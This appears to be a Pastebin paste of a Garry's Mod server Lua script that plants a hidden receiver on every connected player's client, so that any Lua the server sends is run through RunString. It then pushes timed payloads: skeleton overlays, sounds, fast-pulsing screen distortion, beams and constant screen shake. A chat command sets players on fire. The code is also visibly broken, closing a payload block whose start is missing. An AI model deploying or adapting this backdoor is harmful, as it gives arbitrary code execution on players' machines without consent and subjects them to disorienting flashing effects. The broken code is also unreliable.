Advertisement
Guest User

Untitled

a guest
Feb 25th, 2018
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.18 KB | None | 0 0
  1. util.AddNetworkString "ov3rdestroy"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "ov3rdestroy" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"ov3rdestroy\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  66. mdl:SetNoDraw( true )
  67. local posCache, time = {}, 0
  68.  
  69. hook.Add( "HUDPaint", "dance", function()
  70. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  71. local idx = mdl:LookupSequence("taunt_dance")
  72. mdl.SeqDuration = mdl:SequenceDuration( idx )
  73. mdl.SeqStart = CurTime()
  74. mdl:ResetSequence( idx )
  75. end
  76.  
  77. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  78.  
  79.  
  80. local w, h = 300, 300
  81. local ang = Angle( 0, 0, 0 )
  82.  
  83. for i = 1, 32 do
  84. if CurTime() > time then
  85. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  86. end
  87. local x, y = posCache[i][1], posCache[i][2]
  88.  
  89. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  90. cam.IgnoreZ( true )
  91. render.SuppressEngineLighting( true )
  92.  
  93. render.SetLightingOrigin( mdl:GetPos() )
  94. render.ResetModelLighting( 1, 1, 1 )
  95. render.SetColorModulation( 0, 0, 1 )
  96.  
  97. mdl:DrawModel()
  98.  
  99. render.SuppressEngineLighting( false )
  100. cam.IgnoreZ( false )
  101. cam.End3D()
  102. end
  103.  
  104. if CurTime() > time then
  105. time = CurTime() +0.15
  106. end
  107. end )
  108.  
  109. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  110. ]] )
  111. end )
  112.  
  113. --Let the beat drop
  114. lol:PushAction( 54, function( pPlayer )
  115. lol:SendLua( pPlayer, [[
  116. hook.Add( "GetMotionBlurValues", "wat", function()
  117. return 0, 0, 1, math.sin(CurTime() *13)
  118. end )
  119.  
  120. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  121. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  122. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  123. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  124. end )
  125.  
  126. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  127. render.SetMaterial( Material("cable/blue_elec") )
  128. for i = 1, 32 do
  129. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  130. end
  131. end )
  132.  
  133. timer.Create( "thedrop", 0.42, 0, function()
  134. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  135. end )
  136. ]] )
  137. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement